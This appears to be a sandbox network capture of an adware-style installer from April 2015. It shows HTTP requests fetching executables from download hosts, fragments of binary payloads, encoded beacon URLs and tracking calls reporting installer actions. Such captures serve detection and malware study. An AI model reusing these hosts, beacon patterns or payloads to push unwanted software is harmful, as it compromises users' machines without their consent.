GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=8000000-8249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:31 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063025"
Last-Modified: Wed, 15 Apr 2015 01:57:05 GMT
Cache-Control: max-age=1719
Content-Length: 250000
Content-Range: bytes 8000000-8249999/10995037
Content-Type: application/x-msdownload
X-HW: 1429064909.dop001.fr7.t,1429064911.cds023.fr7.c
Content-Disposition: attachment; filename="iweb.exe"
..H...Z.-......[.....E....;Rh...<..0..:......1........g.f.....2...*
..c. q........0...~,..]....d.|L.x..)..a........|.#....A.9.A...MO.-8..:
...]Q.....U..iK,......>.T.....h.........A...w..~..J..f..6l...;.k.._
.......3.......v(...<.....;."k]......:M.Q..^3)M.jE..z_............N
.T. [email protected]...^.z.imhPO.........m,xRwDR.....x.{..v...%
.x........C1.7:..}.........X..6.......4........N.....x..Zo\<<.1.
.e_.U._J.....Z .y%.......58.Z...7......?......1..B....S.xk..dR..".<
.t.bx.....-.....#O...../.3.G........g..V.m.7..... ......%.O.b.j.Q...l!
..)..H..vJ....bb..(..D....k..h...ARt..... ........lf............c..3$E
*.e....8..}...[.N....gq>........<.2f1..D.aP,..IGO..t.........o.E
6......F...L.......... z..:....Y....vJLG.W....\...nJ`6o....9T......^k.
f4ij/*...?w.So5.....fg.l.1...U.).........%.......{Hc..u.h.........F.j.
b....x..|...S5..gzd...*)....rc.#^..PB [email protected]!.
S....{..=#@.)E..q...X.n.C...9....Z?.Wi...-..X49.h.o.`.....T....C...8..
.g.Ow...}..>.2...#.!...,.<..^...?.0...>...P....4...h......d..
.....jFfk.U...x......A]$..W...................0Bb....B.6c......s....._
.] A..w.|^....y........F_|..C.*.U.|..."......M..g.l.DrO....&YG.C4V|^..
....P.".....;k..i...2..c....j.......(......|..7...a..l.`6w.,.2.LG.)..4
.#._I.5i......d..HK.2.#.8..m*..).....$....&.........j.'..olX{..q...T.p
j.ps.ffG....O..........^.9.?!.Ds......%E......B#.b.G...b.t.v...9.&s)8[
N..p.$.....zD..U:...C......r........tX,@..l....o.....~..p....On1......
........:b..1..W..5Bo.,...|.....Hx..,.v...d...C..b.9..B.L..b..Uo.#
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=8250000-8499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



..;.......(.S...bx...z~`....M5M...j.Uif...^.d..A..g.h..h.......I4O.c..
rD..$.?...b..f......(...3....J....n...:F...C/.>.U.)M...{7..........
\.........=........=.4'..Sg..p5..V}8,.wA...u".x...d......:.4 ..96..2..
o.g...(...Y..,f[~..........|.".....>...............~9s.^j....:."m..
.2...........=..>...&..j.,W.F........b.'TQr....`$..(?.J.B....24>
..1...M.kc.e.$S4~.>.Fs...6I>;D..W.......P..........GX>o.N(..Y
.2= `.r.'..*>....j....$..u.|[email protected]<{ 1.s!.#.
...._..I.O......e.!...S...Q...y".^..'.... ........O.E1.........t.uM.D.
.KH!.(..a\#.!...z.J...........\S...5.d......Q....8.<.!..b....e....}
.$h"....{..0&.nd..p....A..GR.T.\..~....L.........J.J0.g.../.....7....T
.sO".\...Z.0#*.\.d.D..6.........t..9.$..Ow.... .....D...9..In ....T...
M/.....[3._..p.h.B-..m....n4....^aO.6.{......K.....D....G.[.=.Yg......
...|n...R_.G.%..<.Yk.`<./..7.wp...._..[X...d}x......aSaO$OF.\.'X
;..ve.....\.#.*.<.z.Mg...kz .(Z.*..`....H.WT. .....N..r.a.)..3.....
.TQ.R.......1v.....>Q..p.3.....td..x3.V6...3......Q.[_.Lq..0Y...'..
$......1{.V!Z..m.&....5.F.` ..#.x..pe..a.}%..5.9...|.....H......;....7
g.'... n..fn..q..... 4=:...^..3......T.b;..f.#.Et4..>..~ .......LZ2
..d".....t..v...u..N..g".................T...{.Z"FR_^oM.....,...O...a.
..H...#]"I>.a....c.x....EX..0.q'.}tT.p...1E...3.U.G...X.T.mK......i
.e.Q..6j)o]..9)H.#...ms...NM.....A..v....T...*r.?....g.....w.N..dD...I
.{.. ..d'..)7...%...}xv......X.bZ..H<.....g.b.PS|.u.V.h.!.G.....2P.
..h1b>..!.m.`p...'../.g..,..l.k..9-.Mk ..k.X..W.N.Y.%..&`..j.wW
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=10250000-10499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:33 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063455"
Last-Modified: Wed, 15 Apr 2015 02:04:15 GMT
Cache-Control: max-age=2148
Content-Length: 250000
Content-Range: bytes 10250000-10499999/10994788
Content-Type: application/x-msdownload
X-HW: 1429064909.dop001.fr7.t,1429064913.cds023.fr7.c
Content-Disposition: attachment; filename="sense9.exe"
.......Y.....t....R.. ...Wx.....p,...U.'.x..p..S..V.....h.....M.O'....
K....'.j.W.1.|...l..]....b.,.h.q...9....../B.~...C..Y.R.DC...I;...?.9X
.F.].a.:......F.'....(c.qYVi_ob=....4..Sw.0..^....&"..Iz...d..].W....F
.....}..%qp.RA..QreJ....o.C.J...m,..`n...'.[.R9........kv.tf.#..Y..D..
..,y...y...\./.a.....Xt.o.........y8.O@_.......KRn.(..z.....r..d....5.
).k...%...........!}..[.............D.....=..R..(.]..%...%.T....:0....
.P.....K....R_.\.... ...\....F...?}..q..f.......n....$.G..dL.........s
..2.>Qx..n..~.p.........gt.Q...%.d.B.67.&_#{..>"...Oei.Divb.....
*S.......$..t...o...D..px..|].H6...@y*..C.(..!.=.iX....C..R.n.Y.".w.KM
.7Z..<....Z.......3/.a...4l>[email protected].....#......
.H>T.#....-...5T........|c...a94..F9....!.g.y2i.!.Sy.........=....&
lt;..~..#-...5.(.V%'.E.h..N...w.DJ...Z..... .}....x.UL....,...Q)F7Ka..
g.J..8.c>..Ns.......HJo.......Ax....O..S...Y#M.}......t...w...#.vV.
......V.l..c0.R`V.Xw.%.X.....EC3HxG....../M.sy.....:..;P.4..t...F.t...
.Q%. W.6.`D).....v....Q..GLf.....p.f..eEs..a.K..e.!.R.^.p.....Z.K"x#w,
.).*.2 ).<@UpC.F%d...FQw....."r.%`.u9.Z..yM.H..>.{.C.e.'....|z..
..0.w..{..H....b......X;.}...3.KvA...m}.I,t.r......v....9*._t6........
.!bM.6S.....l...p[ kwC...n>......I.......Z..v..BJjB......b.........
..>v....Z....].#.[....>...G.....6..~l.E...F.>..u.... ..;.....
gsS......]. ...y.];.........z.$-.......u....l..0..Z..t...vK.ND......L.
$O..Ff..u...kq..g...*.............."/[.....c....n.J.D6....h.....2...8.
X.n&.`....V#..zoL...l.&8..!.Nt...}...$........*.O.j.....9.T..hro.q
<<< skipped >>>


GET /infv5/index/3428/3rd HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: dqoup4b5zs0bi.cloudfront.net
Accept: */*
Accept-Encoding: gzip, deflate
Connection:keep-alive


HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
Date: Wed, 15 Apr 2015 02:28:45 GMT
Location: hXXp://dlrkbt247pbk6.cloudfront.net/3428_92a5d683c188790231b1aa2af09de41e/2.pak
Server: nginx
X-Cache: Miss from cloudfront
Via: 1.1 3a8fb6bd2920a51ec18c3a4f0c1b5cdb.cloudfront.net (CloudFront)
X-Amz-Cf-Id: h5EewDUjPF-vlunFgU21gUPR_TuAh3XPdwD_ypzHwDONVRIDlKeT_Q==
HTTP/1.1 302 Moved Temporarily..Content-Type: text/html..Content-Lengt
h: 0..Connection: keep-alive..Date: Wed, 15 Apr 2015 02:28:45 GMT..Loc
ation: hXXp://dlrkbt247pbk6.cloudfront.net/3428_92a5d683c188790231b1aa
2af09de41e/2.pak..Server: nginx..X-Cache: Miss from cloudfront..Via: 1
.1 3a8fb6bd2920a51ec18c3a4f0c1b5cdb.cloudfront.net (CloudFront)..X-Amz
-Cf-Id: h5EewDUjPF-vlunFgU21gUPR_TuAh3XPdwD_ypzHwDONVRIDlKeT_Q==..



GET /grooveshark/download/install.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: VVV.scilor.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:27:27 GMT
Server: Apache/2
Last-Modified: Fri, 17 Oct 2014 07:36:29 GMT
ETag: "883706-505996c51f940"
Accept-Ranges: bytes
Content-Length: 8926982
Content-Range: bytes 0-8926981/8926982
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
MZP.....................@.............................................
..!..L.!..This program must be run under Win32..$7....................
......................................................................
..............................................PE..L....^B*............
..............................@.......................................
[email protected]...............................
......................................................................
..............CODE....0........................... ..`DATA....P.......
....................@...BSS......................................idata
[email protected]................................
[email protected]....................
[email protected][email protected].............@..
[email protected]..............................................
......................................................................
..............................................string................&l
t;[email protected].@..........)@..(@..(@..)@.....$)@..Free..0)@..InitInstance.
.L)@..CleanupInstance..h(@..ClassType..l(@..ClassName...(@..ClassNameI
s...(@..ClassParent...)@..ClassInfo...(@..InstanceSize...)@..InheritsF
rom...)@..Dispatch...)@..MethodAddress..<*@..MethodName..x*@..Field
Address...)@..DefaultHandler...(@..NewInstance...(@..FreeInstance.TObj
ect.@...@..% .@....%..@....%..@....%..@....%..@....%..@....%..@....%(.
@....%..@....%..@....%..@....%..@....%..@....%..@....%..@....%..@.
<<< skipped >>>


GET /1667.ashx?e=hpY1rXLYst6pJ45fVU/vCyxcBYBT1h/GUt9QDuO61D9AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bQZwLOBou2D zgYfTZkNMXzWjsRol/wIl8 ASAGXXzEpwU29cPqYGXi1JJpRAUOpYSeY/e3xqcYN jxW CFuTh/wC7YZDXfmlHaaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YMvwCGk4Aft7YzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS743oquM6YSXpzpDp5WNdxbzP/mug6NI0uACWBozAPE/QHXC5f7/IDo= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:30 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1667.ashx?e=hpY1rXLYst6pJ45fVU/vCyxcBYBT1h/GUt9QDuO61D9AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bQZwLOBou2D zgYfTZkNMXzWjsRol/wIl8 ASAGXXzEpwU29cPqYGXi1JJpRAUOpYSeY/e3xqcYN jxW CFuTh/wC7YZDXfmlGyMyEnHNejvIwWNawbTP05KYX3Ti/i3YM1BHIdlrIHvMRqdNksZyqGQlHIOUuUk0D3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyxY8W90WdBuycADl xWQTBfA89CZD3BXR5xILWP/u7ZkwhCLBI5B1hF HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com

GET /1667.ashx?e=NdvkYMTo1KufZNC1TqAoBHjjoIR ZGJe1VMaOJFqXYpm5LT87ehXaouB5vT09TkZOGG6MkzEM7zAA5fsVkEwXwPPQmQ9wV0ecSC1j/7u2ZO0iegjomg76biKIFo3W8f23Wq7IsWCDz7y242T0dJTSSIWGJQvu9672/ /pHLzwo46XiXyTIj07NCUHeR8YCF3f3amhGF4Du8m1QFUUpl6coi8hhRIchFJSH8g1puu7wl0EKyZcGlGeGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSkJYmXsRYyUuOBh9NmQ0xfNaOxGiX/AiXz4BIAZdfMSnBenFw/kdUCg= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com

GET /1667.ashx?e=o4wkB1bL2nIsXAWAU9YfxuKfPARRv72IQF3UKsSdb2sRoGJKEMpEhX5dMiu8MPG0GcCzgaLtg/s4GH02ZDTF81o7EaJf8CJfPgEgBl18xKcFNvXD6mBl4tSSaUQFDqWEnmP3t8anGDfo8Vvghbk4fxVahU/Z994EWgtg 4FS7F1Vson/tlR IBWoLVpCM9iETmLRB8gUEovz/JnXac5wHWt45nCFoWzCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lvjeiq4zphJenOkOnlY13FvM/ a6Do0jS4AJYGjMA8T9AdcLl/v8gOg== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com

GET /1667.ashx?e=2fVCHF6kf8i8qFEAMB5m YJgJLadOwVD7OXLse4BafTbQC n
HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:37 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:37 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:37 GMT..Co
ntent-Length: 0..Connection: keep-alive..Cache-Control: private, no-st
ore..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDN
A-cache/2.2..X-Cache: MISS......


GET /1667.ashx?e=Feo0TQZfu6JEiM3QAgk1iVTMxLPMegp5 qMWHMhAir2MDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3ezuRQNCtWmBWOvghCBTr/XvKbjUyzCCcFAL52sIXt4UXMdeVS0aoyqaY9smyAWh8SAdAN11JNbBRRAefFHWdvOJv7yVw7xdhvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2EHlpLL4kVIWK bPb/ygzK3fTzht6ovY1YV lHKmkCemqn1dzsO21qNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qi15mGxh9u5KeKjtx u3K REomRG/B4qC/5uqu42/oMA9xta9wMsup3YbA5xLWY3o= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:41 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:41 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /30690.ashx?e=G4i9JF3YhSYsXAWAU9Yfxu1Z7P7QOfNrQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaD9qLzlG841ywOW6ArhtR GAqR2XPWVGh jCDsw4o/xYUAvnawhe3hVdVxGgZRPVfMXFTku JRco heK0xfXkQRxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRo6r/K2kP8mmqCpADlbJX11rCPXfs0VGOutK1wir 9nJN2uJXiY94Hd9BsUJC/kEr0V2YT/J4lJ7qLkJa1saxG4d9O68WmdWuUspVYxztuFG7Zua0qaNRZzqVyeEjxCyoP0GbKHsMThLvzP8wrMbNKWJGXO0HAFwG1R7Qc7lJh uHebZZiKi64b1faQyCq7DrsmXNtOW7Zday9rCVSgOD pjAKNPoaDrBh6/v/Hm2KcpYHy1S9Ab35kZ/TvhUEvA3 3MoS/fu50NJ4btJZyNF/hC 3M747DWtv6RnRpXN4GqLiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:42 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:42 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /23282.ashx?e=bdqY0vC4PYtUzMSzzHoKeU2V6qgY1YhmjA5kVqVgWdAgLxC0aXqYrYyox39H7ctILL61jPtmKrOq7hB6Hp88JFi2s6XsF8NYPpbX8eNZzIIUAvnawhe3hU72ISjKawWsoSwUHtq20zGrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67kcucdFKeANzw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:38 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:38 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......



GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.wpm HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Wed, 15 Apr 2015 02:29:12 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.28 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Wed, 15 Apr 201
5 02:29:12 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.28 ms","message":"store 1 act
ion and 0 update "}..0......


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ient HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Wed, 15 Apr 2015 02:29:16 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.69 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Wed, 15 Apr 201
5 02:29:16 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.69 ms","message":"store 1 act
ion and 0 update "}..0..



GET /install.ashx?e=wlkQ3WKgYpT/HsUBn07KUki9wFUWENkpQHmaKaq/tyboUht0DV8eHWD3h9gcT/r2iwEbfeVtNep9AGHLpPN9dvm9MH d93Mvga zuhV9q9Hxu1y 6Ac0RKhN6psLdnSsdosECI4dMRD6OfU8/FMPXH6dYg1rlTgUy/ecrRsbq5tpfYOBgM/eiVGOPVXIjHvBpTJ2ibhTIXvL Evyupn5FoSAG857z6vSJoFp5BSgEe3Or7WZbrDrQA0K6wxeD7aRji4XER0T3SsRjhY3fDkRrRGH92XQHP1gIC8CeRVXYM7tt0dYIfV76/i/Rt8z5Huw5BjHXyCKE2ym6/9nVi9VeWyIO7X fC8f4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJo6QfYieQtrRAHmwJ7F0OZh HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wt94bf4ec-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:19 GMT
Content-Type: application/octet-stream
Content-Length: 2432
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected].^&.w.S)B}.S.>k.....~j.. .....(!.<..
.y../H=.c........0...(....._.....c<"..D.......h..i<"..D...hnJ...
..8/E......9..A .......,.#.x/D..EN|V..8.....(..Y.....RO.....pu3@[S....
..{X.5..#...t....... t.....4. e.. ..,"y1..f....J.G..nf.........<..v
...........*......z ...e..F3.9.G....v$.t..Lr..?..Z.B[.|...FR#.S..rlD..
i0u[.f.I..Fy.Y......5....x!..."..fA..#.n.....M3.._. X?...u.V..\.......
e....[.RfmT..F..u\[email protected].......,..r.c.........Bv...?..^.$.o...{.k@
.0.zDO.9.....).Ex_(......|....v....g....)..(A..7p...1.. . ..{..K...e..
q.".....x.Sv...9..c.|.Kn...i...-..u...?'....c9..a........c.e...\.u....
... .;......~V.;.......6.Ev.`M..x&.../..;.....*r.R...[.Y.qu..K*..O .*.
|.C<m....TP.U.h.`9X.1.u.;..8n..o$......3.{p.M..~P...v.n.l.7.J.._...
?R.......[.....-14s.....\......O.M.ydiB...J....hEq.iR.......*..|..(G..
.N......$Z...........~.......B.YZ....a.)v\k...[..l....f.z9.J5.$)f.k...
f....j9Ti.<.=..B........w....S.....t&G6..\rLU../.,..#...8.......1..
n.*U.<p.........!.O.Rd..T.H]...,.O0v.............H...<..........
... C.t^.c.i|....9.dD}..y.P7..z..O...........c....mh..z.=r4_....JP..v.
.w.../.>.....F..u\...



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=1125538-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 160791
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 14 Apr 2015 18:09:33 GMT
Content-Range: bytes 1125538-1286328/1286329
X-Cache: Miss from cloudfront
Via: 1.1 ccd6cf345f24eef514e5a735474389cb.cloudfront.net (CloudFront)
X-Amz-Cf-Id: e8JMuaR9w7tU1Uu2DbmQfyQOlvE1LyQMiIuPEkMqPCkA8iEAgTGzAA==
.M.......3...?../....d..L:.M..6Jbl3...@....|\.V..I.=..q....Y6...|..?..
I.z.i.H.'.%....t\..{:4CK...e..Va.S3.2.......R.........l.?...p.\.M.?...
e1...V.....Sw..4GWU.y.....*O}"HSj.i.D../S.....z.n.>.`:...y.........
...h..D!.R../V.*&..?2B.G../F..6H...^yt...I...;!.......DN.....E6..!....
g.S.?.!}G.. .*..O...:..(-w. ._q.T.w...T.PZ..b..e0.AG..X.8..|.{a...n...
....c.V.Y....T..x.....6V.............)...S.$..%..y.'.........t..NN...,
....._.>8..In.....2.....Ey.Y5..a.`Q.....<....n0.XA.....^.?8PI...
~.D...yE..2.&q..T......t........}..R...O.P....Y....5..S.L..I...../....
8k....*tx.w.`...E.....B.v/.......]%X.h.j.....o.2...D...(>7a.....9..
.Y...iH.f.....r.5"V..B.9x.vPh..Z.;.......y.,}.:.:.>..[..#9KA..'.W..
./....Iw.9.......k.o..d....R...t..yM{.............../h...A.........9..
...-.5..X.W,z.../u0. ..6..#nv.wK......k}.....BB?mC...f..a.O.B^....W.Q.
f.R...M7.....I`W.R..|v|....{...........L6.6.w....5L9 ..#1.5=c...K..x~/
..o..V...1.....^....Zr../@...; `....D...'..6"[email protected].>
;.Cg|....N.h~X..F..4........D.&.....N..o.. .`...;.q8U2%.6...tT.e...D.q
..=.\[email protected]*.\M&..-K#..<1..;.f..F...U..
[.`.....i.Wap.O..W.a.r?..E..x [email protected]..........:$GH.n...........e
W.....4>.........e..L.S)..:.s0.VwkI..~..u;..,.........)v{...i...@..
F.7Y(...........*....O..w.|..L..9............o.s..a..F.HO.%.....1..w..
...ul.....3..N......U..8......%.........y...|*.f......jk..V.?a.$.....V
..3_...A&..D. .%..[@..I..E*......>q..2.{i...,...n...F.5.a.H..7R...X
.0G..!..q.!.V.W.....FF.x...x..........6a)..X...V"....Vv..3...K'o.&
<<< skipped >>>


GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0
Referer: hXXp://grooveshark.com/JSQueue.swf?20130520
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/json
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Encoding: gzip,deflate
Host: grooveshark.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:41 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Server: YouTwoAreWeird
X-Hostname: rhl194
Set-Cookie: ismobile=no;domain=.grooveshark.com;path=/
Cache-Control: private, proxy-revalidate
Content-Encoding: gzip
2c4b.............}kw.J..w~EG.....#/.....@[email protected].,yKr.;.....n.[.
.a..w]fv,..........G......c.d..?z.?.f..q..$...l^__7...a4n._.x..A...N0.
Z<.....!......1..2...........'..l.&..}.......;S/...i.{.L......)O..8
S..(.b.0Hx.t-....:<.o.?..U.:..vr;.3'.&ibe... .I.....|.......a8.9.70
.9.u..:.m.....y}8.B ...G*j..x.y......(..(..Z..c|).-.b6B>N._u...E...
u....C.6..i...c..[x...6...j.Y...]{..9.:.|..s9.=.../.e..9Q..IL.EN....Fi
...[......:.nz..`..U..8.l....$Z...u....x...q)YW....Q...5M&]._yCn......
..x....n...s.M.S=i.......n..C.)..{.vi..p..P....lf...cJ.-/'<..)....F
.....[.....Y.U.Y....s'.N,.b...4..."..I..WM....ZO">.ZM..D@4(..o..i%N
...y..!...5r......2..../..s..........-..._.......6.....d..7....{.....S
..d.D.....<H.=W.b{{...j.~2.N{...N..N...K...\....0....... ......D...
m....3.....p.}o...X.N....x...x.t.[.=....X6@N`..~......q...G.....:...:-
.v.6...TNA8X...J....x..x..6.cH.A...N...f......6[[email protected]..@...
^A.."..p.!#?..8.$L....Hf..{.g.}.....c.uG|;...?..a........%.........O..
..[...Fw..../v..i-..o....H.......\.J<...<B.........!G .X:j.6G...
r.]....N....$H....t...GI!.C..l|...L..0.....fM....B..H>t&..w.:#YW...
...F.B.....X...fVD...to%[email protected]!w.q........3..QI.m..
....p..........z3R.Li...0.v...........$g...r AW.'.V...b$..............
;..o$...$.......z_...RB<r.....$;;...H.....Dn4...q..M...........:.n.
.g....lP.AK6.H..>...._.!..t......\. .....1Z....=..d.Dy".-..0I.y[.7E
..~....3l.l........a...#...i..Q.&.DY......rQ........S^r..W^.A..!gg....
.....2.cg.q.|[.q)...5..p6...\......(.@..'...(.x...P..1v......o.Q..
<<< skipped >>>


GET /v4/searchprotect/267123711_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.2105 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Wed, 15 Apr 2015 02:29:18 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.82 ms","message":"store 2 action and 4 upd
